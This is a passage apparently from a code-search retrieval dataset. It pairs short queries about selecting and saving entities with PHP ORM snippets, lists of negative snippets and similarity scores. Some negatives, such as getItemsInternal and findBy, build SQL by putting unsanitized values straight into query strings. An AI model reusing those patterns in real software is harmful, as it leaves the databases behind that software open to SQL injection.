"function find($entity, $model = FALSE)\n {\n $retval = NULL;\n // Get primary key of the entity\n $pkey = $this->object->get_primary_key_column();\n if (!is_numeric($entity)) {\n $entity = isset($entity->{$pkey}) ? intval($entity->{$pkey}) : FALSE;\n }\n // If we have an entity ID, then get the record\n if ($entity) {\n $results = $this->object->select()->where_and(array(\"{$pkey} = %d\", $entity))->limit(1, 0)->run_query();\n if ($results) {\n $retval = $model ? $this->object->convert_to_model($results[0]) : $results[0];\n }\n }\n return $retval;\n }",
"public function entitySearch($type, $field, $value) {\n return $this->typeManager->getStorage($type)\n ->getQuery()\n ->condition($field, $value)\n ->accessCheck(FALSE)\n ->execute();\n }",
"public function select ( SelectReadyInterface $select, $fetch_class = null )\n {\n return $this->pdoFetch($select->getSQL(), $select->getWhereValues(), $fetch_class);\n\n }",
"function select($id)\n\t{\n\treturn parent::select($id);\n\t}",
"function select($id)\n\t{\n\treturn parent::select($id);\n\t}",
"public function entity()\r\n {\r\n return $this->entity;\r\n }",
"public function select(\n IModel $target, $statement, array $parameters = null\n );"
]
| [
"0.6278961",
"0.5699237",
"0.54928046",
"0.54928046",
"0.54398084",
"0.5422887",
"0.5370171",
"0.5369449",
"0.53683597",
"0.53683597",
"0.5347553",
"0.5340555",
"0.5333859",
"0.5290274",
"0.5267355",
"0.5267355",
"0.5267355",
"0.52594054",
"0.52480656",
"0.52480656",
"0.5240541",
"0.52321357",
"0.52128536",
"0.5197979",
"0.51942205",
"0.5178493",
"0.51722926",
"0.51632833",
"0.515805",
"0.515523",
"0.512607",
"0.5114599",
"0.51000744",
"0.50982",
"0.50982",
"0.50982",
"0.5064575",
"0.5061803",
"0.50611985",
"0.50226164",
"0.5006988",
"0.50048566",
"0.5003221",
"0.50011045",
"0.50004786",
"0.49945855",
"0.49922016",
"0.49922016",
"0.49922016",
"0.49877205",
"0.49850944",
"0.49838927",
"0.4981738",
"0.49785987",
"0.49558264",
"0.49558264",
"0.49549457",
"0.49480453",
"0.49457198",
"0.49450895",
"0.49424115",
"0.4938603",
"0.4930378",
"0.49284",
"0.4916508",
"0.4910313",
"0.49101007",
"0.4909753",
"0.49041307",
"0.48965624",
"0.48875356",
"0.48870572",
"0.4886768",
"0.48835626",
"0.48830944",
"0.48811793",
"0.48792067",
"0.4877467",
"0.48736104",
"0.48705265",
"0.48665002",
"0.48630738",
"0.48629156",
"0.4853574",
"0.4851715",
"0.4848783",
"0.48406035",
"0.4839177",
"0.48332682",
"0.48281103",
"0.48189294",
"0.48177582",
"0.48157108",
"0.48108992",
"0.48072624",
"0.4804757",
"0.47990516",
"0.47990516",
"0.4796346",
"0.47951314"
]
| 0.6202772 | 1 |
Select with an entity provider | public function selectWithEntityProviderCollection(
Query\Select $query,
EntityProvider $entityProvider,
): Collection {
$entities = $this->selectWithEntityProvider($query, $entityProvider);
$collection = $this->db->createCollection();
$collection->fromIterable($entities);
return $collection;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function runSelect($repo)\n{\n // Var Dumping each entity type to test select\n var_dump($repo->select(new ChocolateBar()));\n var_dump($repo->select(new Cookie()));\n var_dump($repo->select(new Noodle()));\n}",
"public function selectWithEntityProvider(\n Query\\Select $query,\n EntityProvider $entityProvider,\n ): \\Generator {\n $entities = $this->db->selectWithEntityProvider($entityProvider, $query);\n\n foreach ($entities as $id => $entity) {\n yield $id => $entity;\n }\n }",
"public function getSourceEntity();",
"public function getEntities();",
"public function getEntities();",
"public function selectEntitiesCallback(array &$form, FormStateInterface $form_state) {\n return $form[$this->fieldDefinition->getName()];\n }",
"public function get_entities();",
"public function select($proveedor);",
"public function getSelect();",
"public function getSelect();",
"public function getBy(array $where): ?IEntity;",
"public function select($producto);",
"public function getEntity ($entity, array $columns = array());",
"public function findAllEntities();",
"public function getEntity();",
"public function getEntity();",
"public function getEntity();",
"public function selectorProvider()\n {\n return [\n [Book::selectOne($this->getConn())],\n [Book::select($this->getConn())->one()]\n ];\n }",
"public function selectById($id);",
"public function selectById($id);",
"public function select()\n\t{\n\t\treturn call_user_func_array([$this->queryFactory->__invoke('select'), 'select'], func_get_args());\n\t}",
"public function testSelectRelatedObject() {\n $session = $this->getSampleProjectSession(true);\n $manager = $session->query(\n 'SELECT project.manager FROM sample_Project project WHERE project.projectId = :projectId'\n )->execute(array('projectId' => '35569',))->one();\n $this->assertEquals(99990, $manager->userId);\n }",
"public function find($entity_id);",
"abstract protected function getEntity();",
"public function retrieve($entityName, $id);",
"protected function getEntity() {\n return $this->getContextValue('entity');\n }",
"public function get_selected_entities(ComplexContentObjectPathNode $node);",
"public function offsetGetProvider()\n {\n $entity1 = $this->createMock(IdentifyTestEntity::class);\n $entity2 = $this->createMock(IdentifyTestEntity::class);\n $entity3 = $this->createMock(IdentifyTestEntity::class);\n\n $entities = [1 => $entity1, 3 => $entity2, 7 => $entity3];\n\n return [\n [$entities, 1, $entity1],\n [$entities, 3, $entity2],\n [$entities, 7, $entity3]\n ];\n }",
"public function select() {\r\n\t\t//$src = Dbi_Source::GetModelSource($this);\r\n\t\t//return $src->select($this);\r\n\t\treturn $this->source->select($this);\r\n\t}",
"public function getMetadataQueryProviderWrapper();",
"public function getAllEntities();",
"public function entity() {\n\t\t$assoc = ($this->association) ? $this->association : $this->model;\n\t\tif (!empty($this->entityPath)) {\n\t\t\t$path = explode('.', $this->entityPath);\n\t\t\t$count = count($path);\n\t\t\tif ($count !== 3) {\n\t\t\t\treturn parent::entity();\n\t\t\t}\n\t\t\treturn Set::filter($path);\n\t\t}\n\t\treturn parent::entity();\n\t}",
"protected function getSelect() {\n $oSql = new SqlSelect();\n $oSql->setEntity($this->Persistence->getTableName());\n $oSql->addColumn(implode(',', $this->getColumns()));\n $oSql->setCriteria($this->Criteria); \n return $oSql->getInstruction();\n }",
"public function getProvider();",
"public function getProvider();",
"public function getProvider();",
"public function entityFor(): string;",
"public function find_external_by_provider($provider) {\n\t\treturn ORM::factory('user_external')->where(array('user_id' => $this->id, 'provider' => $provider))->find();\n\t}",
"public function getEntity($name);",
"public function getProvider($provider_id);",
"public function getQuery ($entity);",
"public function findBy($key,$value){ \n $arraytoret = array();\n $query='select *\n from Usuario\n where '.$key.'='.$value;\n $results = $this->driver->exec($query);\n return $this->factory($results);\n}",
"abstract function getEntity();",
"public function queryEntity($options = array())\n {\n $columns = &$this->columns;\n\n $em = $this->_em;\n $qb = $em->getRepository('BookingBundle:Casa')\n ->createQueryBuilder('a')\n ->distinct(true)\n ->select('a');\n\n if (array_key_exists('sSearch',$options)) {\n if ($options['sSearch'] != '') {\n $qb->andWhere(new Orx(\n\n /**\n * @return array\n */\n call_user_func( function() use ($columns,$qb,$options){\n\n $aLike = array();\n\n foreach ($columns as $col) {\n\n $aLike[] = $qb->expr()->like('a.'.$col, '\\'%' . $options['sSearch'] . '%\\'');\n }\n\n return $aLike;\n })\n \n ));\n }\n }\n\n if ( isset( $options['iDisplayStart'] ) && $options['iDisplayLength'] != '-1' ){\n $qb->setFirstResult( (int)$options['iDisplayStart'] )\n ->setMaxResults( (int)$options['iDisplayLength'] );\n }\n\n\n if (array_key_exists('iDisplayLength',$options)) {\n if ($options['iDisplayLength']!='') {\n $qb->setMaxResults($options['iDisplayLength']);\n }\n }\n\n $result = $qb->getQuery()->getResult();\n $dataExport = array();\n\n foreach ($result as $r) {\n /**\n * @var Casa $r\n * */\n\n $dataHouse = $r->toArray();\n $dataHouse[4]=$this->isAvailable($r);\n array_push($dataExport, $dataHouse);\n }\n\n\n\n\n\n return $dataExport;\n\n }",
"function adv_select($table, array $where = null, array $fields = null, $order = '', $limit = null, $offset = null);",
"public function select($withFromPart=null){\r\n\t\treturn $this->getMapper()->select($withFromPart);\r\n\t}",
"public function select();",
"public function select();",
"public function select();",
"function select() {\n\t\t// PHP doesn't allow direct use as function argument\n\t\t$args=func_get_args();\n\t\treturn call_user_func_array(array($this,'lookup'),$args);\n\t}",
"public function getEntities(array $params = array());",
"public function getBrandNameId(){\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT b.id as id ,b.name as name FROM LoveThatFitAdminBundle:Brand b\");\n try {\n return $query->getResult();\n } catch (\\Doctrine\\ORM\\NoResultException $e) {\n return null;\n } \n \n }",
"abstract protected function getEntityClass();",
"public function selectArticle()\n\t{\n\t}",
"public function getQueryBuilder();",
"public function getQueryBuilder();",
"public function select() {\n\t\t// PHP doesn't allow direct use as function argument\n\t\t$_args=func_get_args();\n\t\treturn call_user_func_array(array($this,'lookup'),$_args);\n\t}",
"protected function _getEntityAdapter()\n {\n if (!$this->_entityAdapter) {\n $validTypes = array('storelocator' => array('model' => 'storelocator/import_entity_data', 'Label' => 'Storelocator'));\n\n\n if (isset($validTypes[$this->getEntity()])) {\n try {\n $this->_entityAdapter = Mage::getModel($validTypes[$this->getEntity()]['model']);\n } catch (Exception $e) {\n Mage::logException($e);\n Mage::throwException(\n Mage::helper('storelocator')->__('Invalid entity model')\n );\n }\n\n if (!($this->_entityAdapter instanceof Mage_ImportExport_Model_Import_Entity_Abstract)) {\n Mage::throwException(\n Mage::helper('storelocator')->__('Entity adapter object must be an instance of Mage_ImportExport_Model_Import_Entity_Abstract')\n );\n }\n } else {\n Mage::throwException(Mage::helper('storelocator')->__('Invalid entity'));\n }\n\n // check for entity codes integrity\n if ($this->getEntity() != $this->_entityAdapter->getEntityTypeCode()) {\n Mage::throwException(\n Mage::helper('storelocator')->__('Input entity code is not equal to entity adapter code')\n );\n }\n\n $this->_entityAdapter->setParameters($this->getData());\n }\n\n return $this->_entityAdapter;\n }",
"public function findEntity($id);",
"function dmSelect($table, $name, $value=\"\", $all=FALSE, $attrs=NULL, $required=TRUE) {\n $dmQ = new DmQuery();\n $dmQ->connect();\n # Don't use getAssoc() so that we can set the default below\n $dms = $dmQ->get($table);\n $dmQ->close();\n $default = \"\";\n $options = array();\n if ($all) {\n $options['all'] = 'All';\n }\n if (!$required) {\n // Add \"Any\" for the first option.\n $loc = new Localize(OBIB_LOCALE, \"shared\");\n $options[''] = $loc->getText(\"any\");\n }\n foreach ($dms as $dm) {\n $options[$dm->getCode()] = $dm->getDescription();\n if ($dm->getDefaultFlg() == 'Y') {\n $default = $dm->getCode();\n }\n }\n if ($value == \"\") {\n $value = $default;\n }\n if (!$required) {\n // Selected on \"Any\" option.\n $value = \"\";\n }\n return inputField('select', $name, $value, $attrs, $options);\n}",
"public function getId_entity($id_entity=null)\n {\n if ($id_entity != null && is_array($this->entity) && count($this->entity)!=0) {\n $table_name = strtolower(get_class($this));\n $query = \"SELECT * FROM $table_name WHERE id_entity = ?\";\n $req = Manager::bdd()->prepare($query);\n $req->execute([$id_entity]);\n $data = \"\";\n if ($data = $req->fetchAll(PDO::FETCH_ASSOC)) {\n$d=$data[0];\n$this->setId_entity($d['id_entity']);\n$this->setLabel($d['label']);\n$this->setDomaine($d['domaine']);\n$this->setEmail($d['email']);\n$this->setPhone_number($d['phone_number']);\n$this->setBp($d['bp']);\n$this->setLocalisation($d['localisation']);\n$this->setVille($d['ville']);\n$this->setUniqueId($d['uniqueId']);\n$this->setCreated_at($d['created_at']);\n$this->setCreated_by($d['created_by']);\n$this->setUpdate_at($d['update_at']);\n$this->setUpdate_by($d['update_by']);\n$this->entity =$data; \n return $this;\n }\n \n } else {\n return $this->id_entity;\n }\n \n }",
"public function fetchDataTableSource()\n { \n $dataTableConfig = [\n 'searchable' => [\n 'title' \n ]\n ];\n\n return SpecificationPreset::with([\n 'presetItem' => function($query) {\n $query->with('specification');\n }\n ])->dataTables($dataTableConfig)->toArray();\n }",
"public function getEntity()\n {\n return $this->parameters['hipay.entity'];\n }",
"protected function retrieveEntities()\n {\n return NULL;\n }",
"public function testFetchEntities() {\n\t\t// find('all') with entitiy => true.\n\t\t$result = $this->Post->entities();\n\t\t$this->assertTrue(is_array($result));\n\t\t$this->assertEqual(count($result), 3);\n\t\t$this->assertTrue(is_a($result[0], 'PostEntity'));\n\t\t$this->assertEqual($result[2]->title, 'again');\n\n\t\t// 2. allEntities is alias for entities.\n\n\t\t$result = $this->Post->allEntities();\n\t\t$this->assertTrue(is_array($result));\n\t\t$this->assertEqual(count($result), 3);\n\t\t$this->assertTrue(is_a($result[0], 'PostEntity'));\n\t\t$this->assertEqual($result[2]->title, 'again');\n\t}",
"public function getSpecific()\n {\n $qb = $this->em->createQueryBuilder();\n $results = $qb->select('p')\n ->from('Plugin\\DoctrineExample\\Entity\\Product', 'p')\n ->orderBy('p.title', 'ASC')->getQuery()->execute();\n return $results;\n }",
"public function getItemsInternal($entityBrowser, &$connectionToken = NULL, array $select, $filter, $expands = [], $otherOptions = []) {\r\n // $entityBrowser = ($entityBrowser instanceof EntityDefinitionBrowser) ? $entityBrowser : $this->entitiesByInternalName[$entityBrowser];\r\n $source = $entityBrowser->getDataSourceName();\r\n\r\n if($connectionToken = (!is_null($connectionToken) ? $connectionToken : $this->getConnectionToken($source))){\r\n // Set defaults\r\n $top = $otherOptions['$top'];\r\n $skip = $otherOptions['$skip'];\r\n $pageNumber = $otherOptions['$pageNumber'];\r\n $pageSize = $otherOptions['$pageSize'];\r\n $orderBy = $otherOptions['$orderBy'];\r\n $all = isset($otherOptions['$all']) && ''.$otherOptions['$all'] = '1'?TRUE:FALSE;\r\n $logQuery = isset($otherOptions['$logQuery']) && ''.$otherOptions['$logQuery'] = '1'?TRUE:FALSE;\r\n\r\n // Remove distinct fields from select\r\n $distinct = $otherOptions['$distinct'];\r\n $sel = [];\r\n foreach($select as $dis){\r\n if(!in_array($dis, $distinct)){\r\n $sel[] = $dis;\r\n }\r\n }\r\n $select2 = implode(',', $select);\r\n\r\n $occurence = '';\r\n if (count($distinct) < 1) {\r\n $distinct = 'ID';\r\n } else {\r\n $distinct = implode(',', $otherOptions['$distinct']);\r\n $distinct = \"{$distinct}\";\r\n $occurence = ' WHERE OCCURENCE = 1 ';\r\n }\r\n\r\n // Determin the record to start from based on the $pageSize and $pageNumber;\r\n $start = ($pageSize * ($pageNumber - 1)) + 1 + $skip;\r\n $end = $start + $pageSize;\r\n\r\n // Generate the SQL query to send in the POST request \r\n $where = (strlen($filter) > 0 ? \" WHERE {$filter} \" : ''); \r\n $sel = implode(',', $sel);\r\n \r\n $query_url = \"\r\n WITH DEDUPE AS (\r\n SELECT {$select2}, ROW_NUMBER() OVER (PARTITION BY {$distinct} ORDER BY {$distinct}) AS OCCURENCE\r\n FROM {$entityBrowser->getInternalName()}\r\n {$where}\r\n )\r\n\r\n SELECT {$select2}\r\n FROM ( SELECT ROW_NUMBER() OVER ( ORDER BY {$orderBy} ) AS RowNum, {$select2}\r\n FROM DEDUPE {$occurence}\r\n ) AS RowConstrainedResult\r\n WHERE RowNum >= {$start}\r\n AND RowNum < {$end}\r\n ORDER BY RowNum\r\n \";\r\n\r\n if($all){\r\n $query_url = \"SELECT {$select2} FROM {$entityBrowser->getInternalName()} {$where} ORDER BY {$orderBy}\";\r\n }\r\n\r\n $query_url = str_replace(\"\\\\'\", \"''\", $query_url);\r\n\r\n // if($logQuery){\r\n // watchdog(\"OUT OF SCHEDULE RUN:<>\", \"Query: {$query_url}\");\r\n // }\r\n\r\n try {\r\n $pdo = new \\PDO($connectionToken->DSN, $connectionToken->Username, $connectionToken->Password);\r\n $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n $stmt = $pdo->query($query_url);\r\n $rs = $stmt->fetchAll(PDO::FETCH_ASSOC);\r\n \r\n return array_values($rs);\r\n } catch (\\Exception $e) {\r\n throw new \\Exception('Connection failed: ' . $e->getMessage());\r\n }\r\n } else {\r\n throw new \\Exception('The connection datasource settings could not be retrieved, contact the administrator.');\r\n } \r\n }",
"public function select()\n {\n return $this->_db->factory('select', $this);\n }",
"protected function getEntities() {\n $query = $this->getStorage()->getQuery();\n $keys = $this->entityType->getKeys();\n\n $query->condition($keys['bundle'], $this->bundle)\n ->sort($keys['id']);\n\n $bundle = $this->entityManager->getStorage($this->entityType->getBundleEntityType())\n ->load($this->bundle);\n\n $pager_settings = $bundle->getPagerSettings();\n if (!empty($pager_settings['page_parameter']) && !empty($pager_settings['page_size_parameter'])) {\n $query->pager($pager_settings['default_limit']);\n }\n\n return $this->getStorage()->getResultEntities($query->execute());\n }",
"public function myFindAll(): array\n {\n $qb = $this->_em->createQueryBuilder()\n ->select('s')\n ->from($this->_entityName, 's')\n ->innerJoin('s.provider', 'p')\n ->addSelect('p')\n ->innerJoin('p.logos','l')\n ->addSelect('l')\n ->orderBy('s.releaseDate','DESC');\n\n return $qb->getQuery()\n ->getResult();\n }",
"function getEntity() {\n if (!empty($this->entity_id) && !empty($this->entity_type) && entity_get_info($this->entity_type)) {\n // Create an array because array_shift passes in by reference.\n $entities = entity_load($this->entity_type, array($this->entity_id));\n return array_shift($entities);\n }\n }",
"public function selectOne(Query\\Select $query): ?Entity\n {\n return $this->db->selectOne($this->klass, $query);\n }",
"function getEntity($server, $args) { \n // get args\n list($e_name) = $args;\n\n $personnel =& PersonnelDB::getInstance();\n $store_name = getEntityStore(strtolower($e_name));\n\n if (!empty($server->params)) {\n // If there are params, use them for filtering\n $entities = $personnel->$store_name->getByFilter($server->params);\n } else {\n // Otherwise, get all entities\n $entities = $personnel->$store_name->getAll();\n }\n\n // return serialized output\n return serializeEntities($entities, $server->contentType);\n}",
"public function getEntity() {\n return $this->entity;\n }",
"public static function findByProvider($provider, $identifier);",
"public function createSelect()\n {\n return $this->getConnection()->select();\n }",
"abstract public function prepareSelect();",
"public function readFromModel($entity);",
"public function getEntity($value, array $params = array());",
"public function getEntity( )\n {\n\n return $this->entity;\n\n }",
"public abstract function getSelect(\n $fields, $from, $where = '', $groupby = '', $limit = 0, $offset = 0\n );",
"function select($fields = '*', $fetch_type = \\PDO::FETCH_ASSOC)\n {\n $this->db->table($this->getTableFullName());\n return call_user_func_array([$this->db, __FUNCTION__], func_get_args());\n }",
"public function select($field);",
"function get_device_entities($device_id, $entity_types = NULL)\n{\n if (is_array($device_id))\n {\n // Passed device array, instead id\n $device_id = $device_id['device_id'];\n }\n if (!$device_id) { return NULL; }\n\n if (!is_array($entity_types) && strlen($entity_types))\n {\n // Single entity type passed, convert to array\n $entity_types = array($entity_types);\n }\n $all = empty($entity_types);\n $entities = array();\n foreach (array_keys($GLOBALS['config']['entities']) as $entity_type)\n {\n if ($all || in_array($entity_type, $entity_types))\n {\n $translate = entity_type_translate_array($entity_type);\n if (!$translate['device_id_field']) { continue; }\n $query = 'SELECT `' . $translate['id_field'] . '` FROM `' . $translate['table'] . '` WHERE `' . $translate['device_id_field'] . '` = ?;';\n $entity_ids = dbFetchColumn($query, array($device_id));\n if (is_array($entity_ids) && count($entity_ids))\n {\n $entities[$entity_type] = $entity_ids;\n }\n }\n }\n return $entities;\n}",
"public function execute() {\n $this->query->filter($this->filter);\n $data = $this->query->execute();\n $results = $data['results'];\n\n if (!$results) {\n return;\n }\n\n return entity_load($this->EntityType, array_keys($results));\n }",
"public function getDataProvider(array $query = []);",
"public function getEntity() {\n\t\treturn get_entity($this->entity_guid);\n\t}",
"abstract protected function getEntityType(): string;",
"public function getBrandBaseRetailer($id){\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT b.id as id ,b.name as name FROM LoveThatFitAdminBundle:Brand b\n JOIN b.retailer_brand rb \n WHERE rb.retailer_id =:retailer\")\n ->setParameters(array('retailer' => $id));\n try {\n return $query->getResult();\n } catch (\\Doctrine\\ORM\\NoResultException $e) {\n return null;\n } \n \n }",
"public function select($usuario_has_hojaruta);",
"public function select() \n { \n $this->load->database(); \n $query = $this->db->query(\"SELECT * FROM empresa p inner join persona c on p.Persona_idPersona = c.idPersona \");\n $this->db->close();\n return $query->result();\n }",
"function findCPTinGroup($em,$document,$code,$codeType)\n{\n $patient=$document->getPatient();\n $pid=$patient->getPID();\n $enc=$document->getOEMREncounter(); \n $codeList=codesInGroup($code,$codeType);\n \n $qb = $em->createQueryBuilder()\n ->select(\"cpt\")\n ->from(\"library\\doctrine\\Entities\\OEMRBillingEntry\",\"cpt\")\n ->where(\"cpt.encounter=:enc\")\n ->andWhere(\"cpt.code_type=:ct\")\n ->andWhere(\"cpt.pid=:pat\")\n ->andWhere(\"cpt.code in \".$codeList);\n\n $qb->setParameter(\"enc\",$enc->getEncounter());\n $qb->setParameter(\"ct\",$codeType);\n $qb->setParameter(\"pat\",$pid);\n \n $qry=$qb->getQuery();\n $res=$qry->getResult(); \n return $res;\n \n}",
"public static function getUserSelectorContext()\n\t{\n\t\treturn 'CRM_ENTITY_EDITOR';\n\t}",
"function find($entity, $model = FALSE)\n {\n $retval = NULL;\n // Get primary key of the entity\n $pkey = $this->object->get_primary_key_column();\n if (!is_numeric($entity)) {\n $entity = isset($entity->{$pkey}) ? intval($entity->{$pkey}) : FALSE;\n }\n // If we have an entity ID, then get the record\n if ($entity) {\n $results = $this->object->select()->where_and(array(\"{$pkey} = %d\", $entity))->limit(1, 0)->run_query();\n if ($results) {\n $retval = $model ? $this->object->convert_to_model($results[0]) : $results[0];\n }\n }\n return $retval;\n }",
"public function entitySearch($type, $field, $value) {\n return $this->typeManager->getStorage($type)\n ->getQuery()\n ->condition($field, $value)\n ->accessCheck(FALSE)\n ->execute();\n }",
"public function select ( SelectReadyInterface $select, $fetch_class = null )\n {\n return $this->pdoFetch($select->getSQL(), $select->getWhereValues(), $fetch_class);\n\n }",
"function select($id)\n\t{\n\treturn parent::select($id);\n\t}",
"function select($id)\n\t{\n\treturn parent::select($id);\n\t}",
"public function entity()\r\n {\r\n return $this->entity;\r\n }",
"public function select(\n IModel $target, $statement, array $parameters = null\n );"
]
| [
"0.6278961",
"0.6202772",
"0.5699237",
"0.54928046",
"0.54928046",
"0.54398084",
"0.5422887",
"0.5370171",
"0.53683597",
"0.53683597",
"0.5347553",
"0.5340555",
"0.5333859",
"0.5290274",
"0.5267355",
"0.5267355",
"0.5267355",
"0.52594054",
"0.52480656",
"0.52480656",
"0.5240541",
"0.52321357",
"0.52128536",
"0.5197979",
"0.51942205",
"0.5178493",
"0.51722926",
"0.51632833",
"0.515805",
"0.515523",
"0.512607",
"0.5114599",
"0.51000744",
"0.50982",
"0.50982",
"0.50982",
"0.5064575",
"0.5061803",
"0.50611985",
"0.50226164",
"0.5006988",
"0.50048566",
"0.5003221",
"0.50011045",
"0.50004786",
"0.49945855",
"0.49922016",
"0.49922016",
"0.49922016",
"0.49877205",
"0.49850944",
"0.49838927",
"0.4981738",
"0.49785987",
"0.49558264",
"0.49558264",
"0.49549457",
"0.49480453",
"0.49457198",
"0.49450895",
"0.49424115",
"0.4938603",
"0.4930378",
"0.49284",
"0.4916508",
"0.4910313",
"0.49101007",
"0.4909753",
"0.49041307",
"0.48965624",
"0.48875356",
"0.48870572",
"0.4886768",
"0.48835626",
"0.48830944",
"0.48811793",
"0.48792067",
"0.4877467",
"0.48736104",
"0.48705265",
"0.48665002",
"0.48630738",
"0.48629156",
"0.4853574",
"0.4851715",
"0.4848783",
"0.48406035",
"0.4839177",
"0.48332682",
"0.48281103",
"0.48189294",
"0.48177582",
"0.48157108",
"0.48108992",
"0.48072624",
"0.4804757",
"0.47990516",
"0.47990516",
"0.4796346",
"0.47951314"
]
| 0.5369449 | 8 |
Save a model to the database Delegates to insert when no id is available, update otherwise | public function save(Entity $entity): void
{
$this->db->save($entity);
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function save()\n {\n if ($this->id === null) {\n $this->insert();\n } else {\n $this->update();\n }\n }",
"public function save()\n {\n if ($this->id) {\n $this->update();\n } else {\n $this->id = $this->insert();\n }\n }",
"public function save() \n\t{\n\t\tif (isset($this->id)) {\t\n\t\t\n\t\t\t// Return update when id exists\n\t\t\treturn $this->update();\n\t\t\t\n\t\t} else {\n\t\t\n\t\t\t// Return insert when id does not exists\n\t\t\treturn $this->insert();\n\t\t}\n\t}",
"public function save(Iris_Model_Abstract $model) {\n // Determine whether to insert or update model\n if(null === $model->id) {\n $model->id = $this->insert($model->toArray());\n\n } else {\n $this->update($model->toArray(), array(\"{$this->_primary} = ?\" => $model->id));\n }\n }",
"public function save() {\n if ($this->id) {\n return $this->update();\n } else {\n return $this->insert();\n }\n }",
"public function save(){\n if($this->id == 0) {\n // Object is new and needs to be created\n return $this->insert();\n }\n }",
"public function save() {\r\n $dateNow = date('Y-m-d H:i:s', time());\r\n $this->id = (int) $this->id;\r\n \r\n if (!empty($this->id)) {\r\n //update case\r\n if ($this->_update()) {\r\n return true;\r\n }\r\n }\r\n else {\r\n //Insert case\r\n if ($this->_insert()) {\r\n return true;\r\n }\r\n }\r\n }",
"public function save(){\r\n return isset($this->id) ? $this->update() : $this->create();\r\n }",
"public function save() {\r\n if ($this->model->getId()) {\r\n return $this->model->update();\r\n }\r\n return $this->create();\r\n }",
"public function save(){\n return isset($this->id) ? $this->update() : $this->create();\n \n }",
"public function save()\n {\n // that is already in this database using the current IDs in this \"where\"\n // clause to only update this model. Otherwise, we'll just insert them.\n if ($this->exists) {\n $saved = $this->newBuilder()->where('_id', $this->convertToMongoId($this->attributes['_id']))->update($this->attributes);\n }\n // If the model is brand new, we'll insert it into our database and set the\n // ID attribute on the model to the value of the newly inserted row's ID\n // which is typically an auto-increment value managed by the database.\n else {\n $saved = $this->newBuilder()->insert($this->attributes);\n }\n\n // TODO: fill() attributes will new or updated values.\n\n return $saved;\n }",
"public function save(){\n\t\t// If primary key is set in model, run an update instead.\n\t\t$primaryKey = $this->getPrimaryKey();\n\t\tif(isset($this->{$primaryKey})){\n\t\t\treturn $this->update();\n\t\t}\n\t\t$this->beforeSave();\n\t\t$tableName = $this->tableName();\n\t\t$fields = $this->fields();\n\t\t// Remove fields set as ignored by rules validation.\n\t\t$fields = $this->removeIgnored($fields);\n\t\t// Create PDO placeholders.\n\t\t$params = array_map(fn($name) => ':'.$name, $fields);\n\t\t// Populate statement by imploding the arrays.\n\t\t$statement = $this->db->prepare('INSERT INTO ' . $tableName . ' ( ' . implode(', ', $fields) . ') VALUES (' . implode(', ', $params) . ')');\n\t\t// Bind values to placeholders.\n\t\tforeach($fields as $field){\n\t\t\t$this->binder($statement, ':' . $field, $this->{$field});\n\t\t}\n\t\tif($statement->execute()){\n\t\t\t$this->afterSave();\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}",
"public function save(){\r\n\t \t\treturn isset($this->id) ? $this->update() : $this->create();\r\n\t\t}",
"public function save(){\n\t\treturn isset($this->id)?$this->update():$this->create();\t\n\t}",
"public function save() {\n return isset($this->id) ? $this->update() : $this->create();\n }",
"public function save(){\n // if(isset($this->id)){$this->update();} else {$this->create();}\n return isset($this->id)? $this->update(): $this->create() ;\n\n }",
"public function save()\n\t{\n\t\t$status = $this->validated ? TRUE : $this->valid();\n\n\t\tif ($status === TRUE)\n\t\t{\n\t\t\tif ($this->data['id']) // Do an update\n\t\t\t\treturn count($this->db->update($this->table_name, $this->data, array('id' => $this->data['id'])));\n\t\t\telse // Do an insert\n\t\t\t{\n\t\t\t\t$id = $this->db->insert($this->table_name, $this->data)->insert_id();\n\t\t\t\treturn ($this->data['id'] = $id);\n\t\t\t}\n\t\t}\n\n\t\tthrow new Kohana_User_Exception('auto_modeler.validation_error', $status);\n\t}",
"public function save() {\n\t\treturn isset($this->id) ? $this->update() : $this->create();\n\t}",
"public function save() {\n\t\treturn isset($this->id) ? $this->update() : $this->create();\n\t}",
"abstract public function save(Model $model);",
"public function save() \n {\n\t\t$this->setLastUpdateTime(date(MYSQL_DATETIME_FORMAT));\n\n\t\tif($this->getId() ) {\n\t\t\treturn $this->_update();\n\t\t} else {\n\t\t\treturn $this->_insert();\n\t\t}\n\t}",
"public function save() {\n\n return isset($this->id) ? $this->update() : $this->create();\n }",
"public function save()\n {\n $this->checkForNecessaryProperties();\n\n $this->update($this->getCurrentId(), $this->data);\n }",
"public function save($model);",
"public function save() {\n return $this->{static::$primaryKey} === null? $this->create() : $this->update();\n }",
"function save(){\n if( !$this->validate() ){\n return false;\n }\n \n if($this->id){\n return $this->update();\n } else {\n return $this->create();\n }\n }",
"public function save(){\r\n\t\tif ($this->new){\r\n\t\t\treturn $this->insert();\r\n\t\t} else {\r\n\t\t\treturn $this->update();\r\n\t\t}\r\n\t}",
"public function save()\n {\n // If the model already exists in the database we can just update our record\n // that is already in this database using the current IDs in this \"where\"\n // clause to only update this model. Otherwise, we'll just insert them.\n if ($this->exists) {\n $saved = $this->isDirty() ? $this->performUpdate() : true;\n }\n\n // If the model is brand new, we'll insert it into our database and set the\n // ID attribute on the model to the value of the newly inserted row's ID\n // which is typically an auto-increment value managed by the database.\n else {\n $saved = $this->performInsert();\n }\n\n // If the model is successfully saved, we need to do a few more things once\n // that is done. We will call the \"saved\" method here to run any actions\n // we need to happen after a model gets successfully saved right here.\n if ($saved) {\n $this->syncOriginal();\n }\n\n return $saved;\n }",
"public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }",
"function save() {\n\n\t\t// calls generic ORM save (insert or update)\n\t\tparent::save();\n\n\t}",
